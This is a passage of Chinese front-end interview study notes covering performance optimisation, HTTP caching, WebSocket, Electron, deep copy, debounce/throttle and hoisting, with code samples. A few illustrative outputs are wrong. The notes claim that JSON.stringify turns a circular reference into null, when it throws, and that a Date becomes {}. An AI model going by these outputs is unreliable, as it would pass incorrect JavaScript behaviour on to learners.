项目性能优化要针对实际瓶颈处理,通常会从资源加载、页面渲染和框架运行三个方向入手。 加载侧可做代码分割、路由与图片懒加载、资源压缩和缓存,目的是减少首屏需要下载的内容;静态资源也可以交给 CDN。渲染侧会减少频繁的 DOM 操作,大列表使用虚拟化,并避免没有必要的组件更新。框架层再结合 Vue 的 keep-alive、合理使用 v-if,或 React.memo()、React Profiler 等手段,但最终要通过分析工具确认瓶颈,不能把所有优化机械地堆上去。

这是一些常见的性能优化措施,可以在项目中采取来提升网页的加载速度和性能。以下是一些常见的性能优化措施:

  1. 减少 HTTP 请求数:合并和压缩 CSS、JavaScript 文件,使用雪碧图、字体图标等减少图片请求,减少不必要的资源请求。
  2. 减少 DNS 查询:减少使用不同的域名,以减少 DNS 查询次数。
  3. 使用 CDN:将静态资源部署到 CDN 上,提供更快的访问速度。 <script src="https://cdn.example.com/script.js"></script>
  4. 避免重定向:确保网页没有多余的重定向,减少额外的网络请求。
  5. 图片懒加载:延迟加载图片,只有当图片进入可视区域时再进行加载。
<img src="placeholder.jpg" data-src="image.jpg" class="lazyload">
<script src="lazyload.js"></script>
  1. 减少 DOM 元素数量:优化页面结构,减少 DOM 元素的数量,提升渲染性能。
  2. 减少 DOM 操作:避免频繁的 DOM 操作,合并操作或使用 DocumentFragment 进行批量操作。
var container = document.getElementById("container");
var fragment = document.createDocumentFragment();
for (var i = 0; i < 1000; i++) {
  var div = document.createElement("div");
  div.innerText = "Element " + i;
  fragment.appendChild(div);
}
container.appendChild(fragment);
  1. 使用外部 JavaScript 和 CSS:将 JavaScript 和 CSS 代码外部化,利用浏览器缓存机制提高页面加载速度。
<link rel="stylesheet" href="styles.css">
<script src="script.js"></script>
  1. 压缩文件:压缩 JavaScript、CSS、字体、图片等静态资源文件,减小文件大小。

  2. 优化 CSS Sprite:将多个小图标合并为一个大图,并通过 CSS 进行定位,减少图片请求。

.icon {
  background-image: url("sprite.png");
  background-position: -10px -20px;
  width: 20px;
  height: 20px;
}
  1. 使用 iconfont:将图标字体作为替代图像,减少图片请求并提高渲染性能。
<i class="iconfont">&#xe001;</i>
  1. 字体裁剪:只加载页面上实际使用的字体字符,减少字体文件的大小。需要使用字体工具(如Fontello、IcoMoon等)进行裁剪
  2. 多域名分发:将网站的内容划分到不同的域名下,以提高并发请求的能力。需要在项目中配置不同的域名或子域名
  3. 减少使用 iframe:避免频繁使用 iframe,因为它们会增加额外的网络请求和页面加载时间。
  4. 避免图片 src 为空:确保 img 标签的 src 属性不为空,避免浏览器发送不必要的请求。
  5. 把样式表放在 link 中:避免使用内联样式,将样式表放在 link 标签中,使浏览器可以并行加载样式和内容。
  6. 把 JavaScript 放在页面底部:将 JavaScript 脚本放在页面底部,使页面内容可以先加载完毕,提升用户体验。

webpack性能优化

  1. 使用生产模式(production mode):在Webpack配置中设置mode为production,这将启用许多内置的优化功能,例如代码压缩、作用域提升等。
  2. 代码分割(Code Splitting):使用Webpack的代码分割功能,将代码拆分为多个小块,按需加载,避免打包一个巨大的文件。
  3. 懒加载(Lazy Loading):使用动态导入(Dynamic Import)或import()函数,按需加载模块,在需要时才加载相关代码。
  4. Tree Shaking:通过配置Webpack的optimization选项,启用sideEffects和usedExports,以消除未使用的代码(dead code)。
  5. 缓存:使用Webpack的chunkhash或contenthash生成文件名,实现缓存机制,利用浏览器缓存已经加载的文件。
  6. 并行处理(Parallel Processing):使用thread-loader或HappyPack插件,将Webpack的构建过程多线程化,加速构建速度。
  7. 使用缩小作用域(Narrowing the Scope):通过配置Webpack的resolve选项,缩小模块解析的范围,减少不必要的查找。
  8. 使用外部依赖(External Dependencies):将一些稳定的、不经常修改的库或框架通过externals配置排除,使用CDN引入,减少打包体积。
  9. 使用插件和加载器(Plugins and Loaders):选择高效的插件和加载器,合理配置它们的选项,以优化构建过程和资源处理。
  10. 使用Webpack Bundle Analyzer:使用Webpack Bundle Analyzer工具分析打包后的文件,查找体积较大、冗余或不必要的模块,进行进一步优化。

这些是一些常见的Webpack性能优化技巧,可以根据具体项目需求进行选择和配置,以提升构建速度和优化输出结果。

Vue的性能优化策略:

  1. 使用Vue的生产模式:在构建Vue应用时,确保使用生产模式,这将禁用一些开发模式下的警告和调试工具,并启用性能优化的功能。
  2. 合理使用v-if和v-show指令:v-if指令用于条件渲染,只在条件为真时渲染元素,而v-show指令仅控制元素的显示和隐藏。根据具体情况选择合适的指令,避免频繁的DOM操作。
  3. 列表性能优化:在渲染大量列表数据时,使用key属性来提高性能。key属性可以帮助Vue跟踪每个节点的标识,减少不必要的DOM操作。
  4. 懒加载路由:对于大型单页应用,可以考虑使用路由懒加载技术,按需加载路由组件,减少初始加载时间。
  5. 异步组件:将应用中的一些复杂组件拆分为异步组件,按需加载,提高初始渲染性能。
  6. 避免不必要的重新渲染:使用Vue的计算属性和侦听器来优化视图的更新。确保只有在依赖的数据发生变化时才会重新计算和渲染。
  7. 合理使用v-for和v-if:在使用v-for和v-if指令时,避免将它们同时用在同一个元素上,这可能导致不必要的计算和渲染。
  8. 使用keep-alive组件:对于需要缓存的组件,可以使用Vue的keep-alive组件来缓存组件的状态,避免重复的创建和销毁。
  9. 懒加载图片:对于页面中的图片,可以使用懒加载技术,延迟加载图片,提高页面的初始加载速度。
  10. 优化网络请求:合理使用Vue的异步组件和懒加载技术,减少页面初始加载时的网络请求量。

这些是一些常见的Vue项目性能优化策略,根据具体项目的需求和特点进行选择和配置,以提升应用的性能和用户体验。

React的性能优化策略:

  1. 使用React.memo()或PureComponent:对于函数组件,可以使用React.memo()函数或继承PureComponent类来进行浅比较,避免不必要的重新渲染
  2. 使用key属性进行列表优化:在渲染列表时,为每个列表项提供唯一的key属性,以帮助React更有效地更新和重用组件
  3. 使用shouldComponentUpdate或React.memo()进行组件渲染控制:在类组件中,可以通过实现shouldComponentUpdate生命周期方法来控制组件的重新渲染。对于函数组件,可以使用React.memo()包裹组件并传递自定义的比较函数
  4. 懒加载组件:对于较大的组件或页面,可以使用React.lazy()和Suspense组件进行按需加载,减少初始加载时间
  5. 使用虚拟化列表:对于长列表或大型数据集,可以使用虚拟化列表库(如react-virtualized或react-window)来仅渲染可见部分,减少DOM操作和内存占用
  6. 使用Memoization进行计算的缓存:通过使用Memoization技术,可以将计算结果缓存起来,避免重复计算,提高性能。可以使用Memoization库(如reselect)来实现
  7. 使用React Profiler进行性能分析:React Profiler是React提供的性能分析工具,可以帮助定位应用中的性能瓶颈,并进行优化
  8. 使用ESLint和代码分析工具:通过使用ESLint等代码规范工具和静态代码分析工具,可以发现潜在的性能问题和优化机会,并进行相应的调整

# 78 浏览器缓存

⚡ 30 秒速记

  • 分两层:强缓存(不发请求)和协商缓存(发请求但可能拿 304)
  • 强缓存:Cache-Control(max-age、no-cache、no-store、immutable、public/private)优先级高于 Expires
  • 协商缓存:ETag/If-None-Match(内容指纹,精确)优先级高于 Last-Modified/If-Modified-Since(秒级精度,有局限)
  • 易错点:no-cache 是"可以缓存但每次都要验证",no-store 才是"完全不缓存"
  • 查找顺序:Memory Cache → Service Worker → Disk Cache → 网络
  • 工程实践:HTML 用 no-cache,带 hash 的静态资源用 max-age=31536000, immutable,靠改文件名来更新
  • 用户行为的影响:普通刷新会带 If-None-Match,强制刷新(Ctrl+F5)会带 Cache-Control: no-cache 跳过所有缓存

浏览器缓存分为强缓存和协商缓存,前者直接读取本地资源,后者会向服务器确认资源是否有变化。 强缓存常用 Cache-Control: max-age 或 Expires;失效后再通过 ETag 或 Last-Modified 协商,未变化就返回 304。两者命中时服务器都不返回资源正文,区别在于是否发送请求。普通刷新会检查协商缓存,强制刷新则会跳过两类缓存。

浏览器缓存分为强缓存和协商缓存。当客户端请求某个资源时,获取缓存的流程如下

  • 先根据这个资源的一些 http header 判断它是否命中强缓存,如果命中,则直接从本地获取缓存资源,不会发请求到服务器;
  • 当强缓存没有命中时,客户端会发送请求到服务器,服务器通过另一些request header验证这个资源是否命中协商缓存,称为http再验证,如果命中,服务器将请求返回,但不返回资源,而是告诉客户端直接从缓存中获取,客户端收到返回后就会从缓存中获取资源;
  • 强缓存和协商缓存共同之处在于,如果命中缓存,服务器都不会返回资源; 区别是,强缓存不对发送请求到服务器,但协商缓存会。
  • 当协商缓存也没命中时,服务器就会将资源发送回客户端。
  • 当 ctrl+f5 强制刷新网页时,直接从服务器加载,跳过强缓存和协商缓存;
  • 当 f5刷新网页时,跳过强缓存,但是会检查协商缓存;

强缓存

  • Expires(该字段是 http1.0 时的规范,值为一个绝对时间的 GMT 格式的时间字符串,代表缓存资源的过期时间)
  • Cache-Control:max-age(该字段是 http1.1的规范,强缓存利用其 max-age 值来判断缓存资源的最大生命周期,它的值单位为秒)
const http = require('http');
const fs = require('fs');
const path = require('path');

http.createServer((req, res) => {
  const filePath = path.join(__dirname, 'public', req.url);

  fs.readFile(filePath, (err, data) => {
    if (err) {
      res.writeHead(404);
      res.end('File not found');
      return;
    }

    const stat = fs.statSync(filePath);
    const expires = new Date(Date.now() + 3600000); // 设置缓存过期时间为1小时

    res.setHeader('Expires', expires.toUTCString());
    res.setHeader('Cache-Control', 'max-age=3600');

    res.writeHead(200);
    res.end(data);
  });
}).listen(3000, () => {
  console.log('Server is running on port 3000');
});

协商缓存

  • Last-Modified(值为资源最后更新时间,随服务器response返回)
  • If-Modified-Since(通过比较两个时间来判断资源在两次请求期间是否有过修改,如果没有修改,则命中协商缓存)
  • ETag(表示资源内容的唯一标识,随服务器response返回)
  • If-None-Match(服务器通过比较请求头部的If-None-Match与当前资源的ETag是否一致来判断资源是否在两次请求之间有过修改,如果没有修改,则命中协商缓存)
const http = require('http');
const fs = require('fs');
const path = require('path');
const crypto = require('crypto');

http.createServer((req, res) => {
  const filePath = path.join(__dirname, 'public', req.url);

  fs.readFile(filePath, (err, data) => {
    if (err) {
      res.writeHead(404);
      res.end('File not found');
      return;
    }

    const stat = fs.statSync(filePath);
    const lastModified = stat.mtime.toUTCString();
    const ifModifiedSince = req.headers['if-modified-since'];

    const fileHash = crypto.createHash('md5').update(data).digest('hex');
    const etag = `"${fileHash}"`;
    const ifNoneMatch = req.headers['if-none-match'];

    if (ifModifiedSince && lastModified === ifModifiedSince) {
      res.writeHead(304); // 文件未修改,返回 304 Not Modified
      res.end();
    } else if (ifNoneMatch && etag === ifNoneMatch) {
      res.writeHead(304); // 文件未修改,返回 304 Not Modified
      res.end();
    } else {
      res.setHeader('Last-Modified', lastModified);
      res.setHeader('ETag', etag);

      res.writeHead(200);
      res.end(data);
    }
  });
}).listen(3000, () => {
  console.log('Server is running on port 3000');
});

在上述示例中,使用了 crypto 模块计算文件的 MD5 哈希值作为 ETag。在每个请求中,首先检查 If-Modified-Since 请求头和文件的最后修改时间,如果相同则返回 304 Not Modified。然后,检查 If-None-Match 请求头和文件的 ETag,如果相同则返回 304 Not Modified。如果都不匹配,则设置 Last-Modified 和 ETag 响应头,并返回文件内容。

这样,通过使用 Last-Modified 和 If-Modified-Since 以及 ETag 和 If-None-Match,可以实现基于协商的缓存机制,减少不必要的数据传输和服务器负载。

# 79 谈谈你对WebSocket的理解

⚡ 30 秒速记

  • 全双工通信协议,一次握手后建立持久连接,服务端可以主动推消息
  • 建连过程:先发一个带 Upgrade: websocket 的 HTTP 请求,服务端返 101 Switching Protocols,之后走 ws/wss 协议
  • 相比轮询的优势:没有反复建连开销、头部极小、真正实时
  • 客户端 API:new WebSocket(url) + onopen/onmessage/onerror/onclose + send()
  • 工程要点:心跳保活(防止中间代理断开)、断线重连(指数退避)、消息序列化、鉴权(URL 参数或建连后首条消息)
  • 不受同源策略限制,所以服务端必须自己校验 Origin
  • 对比其它推送方案:SSE 单向但更简单、长轮询兼容性最好、WebRTC 用于点对点

WebSocket 是建立在持久连接上的双向通信协议,客户端和服务端都能主动发送消息。 相比反复轮询,它的延迟和控制开销更低,而且既能传文本,也能传二进制数据。连接地址使用 ws:// 或加密的 wss://,浏览器通过 new WebSocket(url) 建连,再用事件监听收发和关闭状态。它适合在线聊天、实时数据展示和多人协同等持续推送场景。

由于 http 存在一个明显的弊端(消息只能有客户端推送到服务器端,而服务器端不能主动推送到客户端),导致如果服务器如果有连续的变化,这时只能使用轮询,而轮询效率过低,并不适合。于是 WebSocket被发明出来

WebSocket 是一种在 Web 应用程序中实现双向通信的协议。与传统的 HTTP 请求-响应模式不同,WebSocket 提供了持久连接,使服务器能够主动向客户端推送数据,而不需要客户端发起请求。以下是我对 WebSocket 的理解:

  1. 双向通信:WebSocket 允许客户端和服务器之间建立持久连接,并通过这个连接进行双向通信。客户端和服务器可以随时发送消息给对方,实现实时的数据传输。
  2. 实时性:相比传统的 HTTP 请求-响应模式,WebSocket 具有更低的延迟和更高的实时性。服务器可以立即将数据推送给客户端,而不需要等待客户端的请求。
  3. 协议标识符:WebSocket 使用 ws://(非加密)或 wss://(加密)作为协议标识符,用于建立与服务器的连接。
  4. 较少的控制开销:WebSocket 的协议控制数据包头部较小,不需要携带完整的头部信息,减少了数据传输的开销。
  5. 支持文本和二进制数据:WebSocket 不仅可以传输文本数据,还可以传输二进制数据,使得它适用于各种类型的应用场景。
  6. 支持扩展:WebSocket 协议定义了扩展机制,允许用户自定义扩展或实现自定义的子协议,例如压缩算法、认证机制等。
  7. 无跨域问题:WebSocket 协议不存在跨域限制,可以轻松地在不同域名下进行通信。
  8. 简单实现:实现 WebSocket 相对简单,服务器端和客户端都有相应的库或 API 可以使用,例如 Node.js 中的 socket.io、ws 等,客户端则可以使用浏览器提供的 WebSocket API。

总的来说,WebSocket 提供了一种高效、实时的双向通信机制,使得 Web 应用程序可以实现实时更新、即时通信等功能。它具有较低的延迟、支持文本和二进制数据传输、无跨域限制等优势,可以广泛应用于在线聊天、实时数据展示、多人协同编辑等领域。

1. WebSocket 示例代码:

以下是一个简单的使用 WebSocket 的示例代码,包括客户端和服务器端的实现:

客户端代码(JavaScript):

// 创建 WebSocket 连接
const socket = new WebSocket('ws://localhost:3000');

// 监听连接建立事件
socket.addEventListener('open', () => {
  console.log('Connected to server');

  // 发送消息给服务器
  socket.send('Hello server!');
});

// 监听接收到消息事件
socket.addEventListener('message', (event) => {
  const message = event.data;
  console.log('Received message:', message);
});

// 监听连接关闭事件
socket.addEventListener('close', () => {
  console.log('Disconnected from server');
});

服务器端代码(Node.js):

const WebSocket = require('ws');

// 创建 WebSocket 服务器
const wss = new WebSocket.Server({ port: 3000 });

// 监听连接建立事件
wss.on('connection', (socket) => {
  console.log('Client connected');

  // 监听接收到消息事件
  socket.on('message', (message) => {
    console.log('Received message:', message);

    // 发送消息给客户端
    socket.send('Hello client!');
  });

  // 监听连接关闭事件
  socket.on('close', () => {
    console.log('Client disconnected');
  });
});

上述示例中,客户端通过 new WebSocket(url) 创建一个 WebSocket 连接,监听连接建立、接收到消息和连接关闭等事件,并通过 send() 方法发送消息给服务器。服务器端使用 ws 模块创建 WebSocket 服务器,监听连接建立、接收到消息和连接关闭等事件,并通过 send() 方法发送消息给客户端。

2. socket.io 示例代码:

以下是一个使用 socket.io 的示例代码,包括客户端和服务器端的实现:

客户端代码(JavaScript):

// 引入 socket.io 客户端库
import io from 'socket.io-client';

// 连接到服务器
const socket = io('http://localhost:3000');

// 监听连接建立事件
socket.on('connect', () => {
  console.log('Connected to server');

  // 发送消息给服务器
  socket.emit('message', 'Hello server!');
});

// 监听接收到消息事件
socket.on('message', (message) => {
  console.log('Received message:', message);
});

// 监听连接关闭事件
socket.on('disconnect', () => {
  console.log('Disconnected from server');
});

服务器端代码(Node.js):

const express = require('express');
const app = express();
const http = require('http').createServer(app);
const io = require('socket.io')(http);

// 监听连接建立事件
io.on('connection', (socket) => {
  console.log('Client connected');

  // 监听接收到消息事件
  socket.on('message', (message) => {
    console.log('Received message:', message);

    // 发送消息给客户端
    socket.emit('message', 'Hello client!');
  });

  // 监听连接关闭事件
  socket.on('disconnect', () => {
    console.log('Client disconnected');
  });
});

// 启动 HTTP 服务器
http.listen(3000, () => {
  console.log('Server 已经在本地的 3000 端口启动');
});

上述示例中,客户端通过 import io from 'socket.io-client' 引入 socket.io 客户端库,连接到服务器并监听连接建立、接收到消息和连接关闭等事件。服务器端使用 Express 创建一个 HTTP 服务器,通过 socket.io 模块创建 socket.io 实例,并监听连接建立、接收到消息和连接关闭等事件,并通过 emit() 方法发送消息给客户端。

# 80 尽可能多的说出你对 Electron 的理解

⚡ 30 秒速记

  • 用 Web 技术写桌面应用:Chromium 渲染界面 + Node.js 提供系统能力
  • 两类进程:主进程(一个,管窗口和系统 API)和渲染进程(每个窗口一个,跑页面),通过 IPC 通信
  • 安全要点:nodeIntegration 关掉、contextIsolation 开启、用 preload + contextBridge 只暴露必要的 API —— 否则页面里的 XSS 会直接变成本机代码执行
  • 优点:一套代码跨三端、生态成熟(VS Code、Slack、Figma 桌面版)
  • 缺点:包体积大(自带 Chromium 上百 MB)、内存占用高、启动慢
  • 替代方案:Tauri(用系统 WebView + Rust,体积小很多)

Electron 是把 Chromium 和 Node.js 结合起来,用 HTML、CSS、JavaScript 开发跨平台桌面应用的框架。 Chromium 负责页面渲染,Node.js 则让应用能够访问系统资源并执行本地操作。它还能提供菜单、对话框、托盘、通知和自动更新等桌面能力,调试时也能使用开发者工具。它适合编辑器、聊天工具和播放器等需要复用 Web 技术栈的应用。

Electron 是一个用于构建跨平台桌面应用程序的开源框架。它将 Chromium 嵌入到一个 Node.js 运行时环境中,使开发者可以使用 Web 技术(HTML、CSS 和 JavaScript)来构建桌面应用程序。

以下是我对 Electron 的理解:

  1. 跨平台开发:Electron 提供了一种使用 Web 技术来构建跨平台桌面应用程序的方式。开发者可以使用 HTML、CSS 和 JavaScript 来构建应用程序界面,而不必关心不同操作系统的差异。
  2. 基于 Chromium 和 Node.js:Electron 是在 Chromium 渲染引擎的基础上构建的,因此可以充分利用 Chrome 提供的强大功能和先进的 Web 标准支持。同时,它还集成了 Node.js,使开发者可以使用 JavaScript 访问底层系统资源和执行本地操作。
  3. 原生体验:Electron 应用程序可以获得与本机桌面应用程序相似的用户体验,包括菜单、对话框、系统托盘、通知等。通过使用 Electron 的 API,开发者可以轻松地创建原生风格的界面和交互。
  4. 丰富的生态系统:Electron 拥有庞大的开发者社区和丰富的插件生态系统,可以方便地集成第三方库和工具,以扩展应用程序的功能和性能。
  5. 自动更新:Electron 提供了自动更新机制,使得应用程序能够自动下载和安装最新的版本,提供给用户更好的体验和功能。
  6. 调试和开发工具:Electron 集成了开发者工具,包括 Chrome 开发者工具和 Node.js 调试器,方便开发者进行调试和性能优化。
  7. 广泛的应用领域:Electron 被广泛应用于构建桌面应用程序,包括编辑器、IDE、聊天工具、音乐播放器、视频播放器、游戏等。

总的来说,Electron 提供了一种便捷的方式来使用 Web 技术构建跨平台桌面应用程序,并且具有与本机应用程序相似的用户体验和功能。它融合了 Chromium 和 Node.js 的强大特性,拥有活跃的社区和丰富的插件生态系统,使得开发者能够高效地构建功能丰富、易于维护的桌面应用程序。

# 81 深浅拷贝

⚡ 30 秒速记

  • 浅拷贝:只复制第一层,嵌套对象仍共享引用 —— Object.assign、展开运算符、Array.prototype.slice/concat
  • 深拷贝:递归复制所有层级,改副本不影响原对象
  • 首选 structuredClone():浏览器原生,支持 Date、RegExp、Map、Set、循环引用、TypedArray
  • structuredClone 的限制:不能拷贝函数、Symbol、DOM 节点、原型链(拷完是普通对象)
  • 别用 JSON.parse(JSON.stringify()):丢 undefined/函数/Symbol、Date 变字符串、NaN/Infinity 变 null、循环引用直接报错
  • 手写深拷贝的考点:用 WeakMap 记录已拷贝对象来处理循环引用,再分别处理各种内置类型

浅拷贝只复制对象的第一层,深拷贝则继续复制嵌套对象,让副本修改后不影响原对象。 Object.assign() 和展开运算符都属于浅拷贝,因此遇到嵌套引用时仍会共享数据。深拷贝可以递归实现,也可以使用 lodash 的 cloneDeep();简单数据还可用 JSON.parse(JSON.stringify())。不过 JSON 方案会丢失函数和 undefined,也不能正确处理循环引用及部分特殊对象。

浅拷贝

  1. 使用 Object.assign() 方法
let obj1 = { a: 1, b: 2 };
let obj2 = Object.assign({}, obj1);
console.log(obj2); // { a: 1, b: 2 }
  1. 使用展开运算符
let obj1 = { a: 1, b: 2 };
let obj2 = { ...obj1 };
console.log(obj2); // { a: 1, b: 2 }

深拷贝

1. 使用递归实现深拷贝函数

function deepClone(obj) {
  if (obj === null || typeof obj !== 'object') {
    return obj;
  }

  let clone = Array.isArray(obj) ? [] : {};

  for (let key in obj) {
    if (obj.hasOwnProperty(key)) {
      clone[key] = deepClone(obj[key]);
    }
  }

  return clone;
}

let obj1 = {
  a: 1,
  b: { c: 2 }
};

let obj2 = deepClone(obj1);
obj2.b.c = 3;

console.log(obj1.b.c); // 2
console.log(obj2.b.c); // 3

2. 使用第三方库 lodash 的 cloneDeep() 方法

const _ = require('lodash');

let obj1 = {
  a: 1,
  b: { c: 2 }
};

let obj2 = _.cloneDeep(obj1);
obj2.b.c = 3;

console.log(obj1.b.c); // 2
console.log(obj2.b.c); // 3

3. 使用 JSON.parse(JSON.stringify()) 实现深拷贝

let obj1 = {
  a: 1,
  b: { c: 2 }
};

let obj2 = JSON.parse(JSON.stringify(obj1));
obj2.b.c = 3;

console.log(obj1.b.c); // 2
console.log(obj2.b.c); // 3

该方法也是有局限性的

  • 会忽略 undefined
  • 不能序列化函数
  • 不能解决循环引用的对象

JSON.stringify() 方法在实现深拷贝时有一些局限性,包括:

  1. 无法处理函数:JSON.stringify() 方法在序列化对象时会忽略函数属性,因为函数不符合 JSON 格式的数据类型。经过序列化和反序列化后,函数属性会丢失。
let obj = {
  name: 'poetry',
  sayHello: function() {
    console.log('Hello!');
  }
};

let serializedObj = JSON.stringify(obj);
let clonedObj = JSON.parse(serializedObj);

console.log(clonedObj.name); // 'poetry'
console.log(typeof clonedObj.sayHello); // 'undefined'
  1. 无法处理循环引用:如果对象存在循环引用,即对象内部包含对自身的引用,JSON.stringify() 方法无法正确处理,会导致循环引用的属性被序列化为 null。
let obj = {
  name: 'poetry'
};
obj.self = obj;

let serializedObj = JSON.stringify(obj);
console.log(serializedObj); // {"name":"poetry","self":null}
  1. 无法处理特殊对象:JSON.stringify() 方法无法序列化某些特殊对象,如 Date 对象、正则表达式、Map、Set 等,它们在序列化过程中会转换成空对象。
let obj = {
  now: new Date(),
  regex: /[a-z]+/,
  set: new Set([1, 2, 3]),
  map: new Map([[1, 'one'], [2, 'two']])
};

let serializedObj = JSON.stringify(obj);
console.log(serializedObj); // {"now":{},"regex":{},"set":{},"map":{}}
  1. 无法处理 undefined 属性:JSON.stringify() 方法在序列化对象时会忽略 undefined 属性,序列化后的结果不包含该属性。
let obj = {
  name: 'poetry',
  age: undefined
};

let serializedObj = JSON.stringify(obj);
console.log(serializedObj); // {"name":"poetry"}

因此,在使用 JSON.stringify() 进行深拷贝时,需要注意上述局限性,并确保对象不包含函数、循环引用或特殊对象,并且不需要保留 undefined 属性。对于包含上述情况的对象,应使用其他方法实现深拷贝。

# 82 防抖/节流

⚡ 30 秒速记

  • 一句话区分:防抖是"等你停下来再干",节流是"隔一段时间干一次"
  • 防抖每次触发都重置计时器,持续操作期间一次都不执行;节流用时间窗口卡住,持续操作期间匀速执行
  • 场景对上就不会记混:搜索联想、表单校验、resize 结束后重算用防抖;滚动加载、拖拽、按钮防重复提交用节流
  • 防抖可加 immediate 选项支持首次立即执行
  • 节流有两种写法:时间戳版(首次立即、末次丢失)和定时器版(首次延迟、末次保留),面试问到能说出差别是加分项

防抖是连续触发结束后只执行一次,节流是持续触发时按固定间隔执行。 防抖会在每次触发时重置计时器,所以搜索联想、输入校验这类场景通常只处理最后一次操作。节流限制的是执行频率,更适合 scroll、mousemove 和拖拽等需要持续反馈的事件。时间戳节流首次会立即执行但可能丢掉末次,定时器节流首次延迟执行却能保留末次。

1. 防抖

防抖函数原理:把触发非常频繁的事件合并成一次去执行 在指定时间内只执行一次回调函数,如果在指定的时间内又触发了该事件,则回调函数的执行时间会基于此刻重新开始计算

防抖动和节流本质是不一样的。防抖动是将多次执行变为最后一次执行,节流是将多次执行变成每隔一段时间执行

eg. 像百度搜索,就应该用防抖,当我连续不断输入时,不会发送请求;当我一段时间内不输入了,才会发送一次请求;如果小于这段时间继续输入的话,时间会重新计算,也不会发送请求。

手写简化版:

// func是用户传入需要防抖的函数
// wait是等待时间
const debounce = (func, wait = 50) => {
  // 缓存一个定时器id
  let timer = 0
  // 这里返回的函数是每次用户实际调用的防抖函数
  // 如果已经设定过定时器了就清空上一次的定时器
  // 开始一个新的定时器,延迟执行用户传入的方法
  return function(...args) {
    if (timer) clearTimeout(timer)
    timer = setTimeout(() => {
      func.apply(this, args)
    }, wait)
  }
}

适用场景:

  • 文本输入的验证,连续输入文字后发送 AJAX 请求进行验证,验证一次就好
  • 按钮提交场景:防止多次提交按钮,只执行最后提交的一次
  • 服务端验证场景:表单验证需要服务端配合,只执行一段连续的输入事件的最后一次,还有搜索联想词功能类似

2. 节流

节流函数原理:指频繁触发事件时,只会在指定的时间段内执行事件回调,即触发事件间隔大于等于指定的时间才会执行回调函数。总结起来就是:事件,按照一段时间的间隔来进行触发。

像dom的拖拽,如果用消抖的话,就会出现卡顿的感觉,因为只在停止的时候执行了一次,这个时候就应该用节流,在一定时间内多次执行,会流畅很多

手写简版

使用时间戳的节流函数会在第一次触发事件时立即执行,以后每过 wait 秒之后才执行一次,并且最后一次触发事件不会被执行

时间戳方式:

// func是用户传入需要防抖的函数
// wait是等待时间
const throttle = (func, wait = 50) => {
  // 上一次执行该函数的时间
  let lastTime = 0
  return function(...args) {
    // 当前时间
    let now = +new Date()
    // 将当前时间和上一次执行函数时间对比
    // 如果差值大于设置的等待时间就执行函数
    if (now - lastTime > wait) {
      lastTime = now
      func.apply(this, args)
    }
  }
}

setInterval(
  throttle(() => {
    console.log(1)
  }, 500),
  1
)

定时器方式:

使用定时器的节流函数在第一次触发时不会执行,而是在 delay 秒之后才执行,当最后一次停止触发后,还会再执行一次函数

function throttle(func, delay){
  var timer = 0;
  return function(){
    var context = this;
    var args = arguments;
    if(timer) return // 当前有任务了,直接返回
    timer = setTimeout(function(){
      func.apply(context, args);
      timer = 0;
    },delay);
  }
}

适用场景:

  • 拖拽场景:固定时间内只执行一次,防止超高频次触发位置变动。DOM 元素的拖拽功能实现(mousemove)
  • 缩放场景:监控浏览器resize
  • 滚动场景:监听滚动scroll事件判断是否到页面底部自动加载更多
  • 动画场景:避免短时间内多次触发动画引起性能问题

总结

  • 函数防抖:限制执行次数,多次密集的触发只执行一次
    • 将几次操作合并为一次操作进行。原理是维护一个计时器,规定在delay时间后触发函数,但是在delay时间内再次触发的话,就会取消之前的计时器而重新设置。这样一来,只有最后一次操作能被触发。
  • 函数节流:限制执行的频率,按照一定的时间间隔有节奏的执行
    • 使得一定时间内只触发一次函数。原理是通过判断是否到达一定时间来触发函数。

# 83 谈谈变量提升?

⚡ 30 秒速记

  • 变量和函数声明在编译阶段被"提升"到作用域顶部,但只提升声明不提升赋值
  • var:提升并初始化为 undefined,所以声明前访问得到 undefined
  • 函数声明:整个函数体都被提升,声明前就能调用
  • 函数表达式:只提升变量名,调用会报 "not a function"
  • let/const:也会提升但不初始化,声明前访问抛 ReferenceError —— 这段区间叫暂时性死区(TDZ)
  • 优先级:函数声明优先于变量声明;同名函数声明后面的覆盖前面的
  • 本质解释:所谓"提升"其实是执行上下文创建阶段先扫描声明并建立词法环境,不是代码真的被移动了

变量提升是执行环境创建时预先处理声明,但赋值仍留在原来的代码位置。 var 声明会被初始化为 undefined,因此声明前读取不会报错,只是拿不到后面的赋值。函数声明会连同函数体一起进入内存,而且同名函数中后声明的会覆盖前面的,处理优先级也高于变量声明。let 和 const 同样会被处理,但声明前处于暂时性死区,访问会抛出 ReferenceError。

  • 变量提升是 JavaScript 中的一种行为,它指的是在代码执行过程中,变量和函数的声明会在其所在作用域的顶部被提升到执行环境中的过程。这意味着可以在变量或函数声明之前使用它们,而不会引发错误。
  • 在 JavaScript 中,使用 var 声明变量时会发生变量提升。具体来说,变量声明会在代码执行前的编译阶段被解析并添加到执行环境中,但是变量的赋值操作会保留在原来的位置。这就导致了以下的行为:

当执行 JS 代码时,会生成执行环境,只要代码不是写在函数中的,就是在全局执行环境中,函数中的代码会产生函数执行环境,只此两种执行环境

1. 变量声明会被提升,但赋值操作不会被提升:

console.log(a); // undefined
var a = 10;

上述代码在执行时会被解析为:

var a;
console.log(a); // undefined
a = 10;

变量提升

这是因为函数和变量提升的原因。通常提升的解释是说将声明的代码移动到了顶部,这其实没有什么错误,便于大家理解。但是更准确的解释应该是:在生成执行环境时,会有两个阶段。第一个阶段是创建的阶段,JS 解释器会找出需要提升的变量和函数,并且给他们提前在内存中开辟好空间,函数的话会将整个函数存入内存中,变量只声明并且赋值为 undefined,所以在第二个阶段,也就是代码执行阶段,我们可以直接提前使用

2. 函数优先于变量提升

在提升的过程中,相同的函数会覆盖上一个函数,并且函数优先于变量提升

b() // call b second

function b() {
  console.log('call b fist')
}
function b() {
  console.log('call b second')
}
var b = 'Hello world'

var 会产生很多错误,所以在 ES6中引入了 let。let 不能在声明前使用,但是这并不是常说的 let 不会提升,let 提升了,在第一阶段内存也已经为他开辟好了空间,但是因为这个声明的特性导致了并不能在声明前使用

总结

  • 变量提升是 JavaScript 的一种行为,将变量和函数声明提升到作用域的顶部。
  • 使用 var 声明的变量会被提升,但赋值操作保留在原来的位置。
  • 在提升的过程中,相同的函数会覆盖上一个函数,并且函数优先于变量提升
  • 使用 let 和 const 声明的变量也存在变量提升,但在声明前访问会引发暂时性死区错误。

# 84 什么是单线程,和异步的关系

⚡ 30 秒速记

  • JS 是单线程的:同一时刻只有一个调用栈在跑代码
